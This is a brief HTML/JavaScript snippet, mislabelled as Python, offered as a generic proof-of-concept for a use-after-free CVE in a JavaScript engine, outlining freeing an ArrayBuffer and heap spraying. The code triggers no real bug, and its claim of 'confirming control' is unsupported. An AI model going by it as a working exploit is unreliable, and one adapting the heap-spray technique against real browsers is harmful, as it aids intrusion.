The following code is for security research and authorized testing only.
python
<!--
CVE-2026-4723 PoC Concept
This is a generic demonstration of a Use-After-Free scenario in a JavaScript engine.
Specific exploitation requires knowledge of the exact engine version and heap layout.
-->
<html>
<body>
<script>
// Step 1: Allocate an object that will be freed
let vulnerable_object = new ArrayBuffer(0x1000);
// Step 2: Function to trigger the vulnerability (UAF)
// In a real scenario, this involves specific engine APIs that cause the free
// but leave a reference in another structure.
function trigger_uaf() {
// Simulating the free operation
vulnerable_object = null;
// Force garbage collection (implementation dependent)
if (typeof gc !== 'undefined') { gc(); }
}
trigger_uaf();
// Step 3: Heap Spraying to reclaim the freed memory
// We try to allocate memory that overlaps with the freed object
let spray_buffer = new Uint8Array(0x1000 * 0x100);
for (let i = 0; i < spray_buffer.length; i++) {
spray_buffer[i] = 0x41; // 'A'
}
// Step 4: Attempt to access the freed memory via dangling reference
// If successful, we read the data we sprayed (0x41), confirming control.
// Note: In this generic code, 'vulnerable_object' is explicitly null,
// a real exploit would use a hidden reference kept by the engine.
console.log("PoC execution completed. Check for crashes or memory corruption.");
</script>
</body>
</html>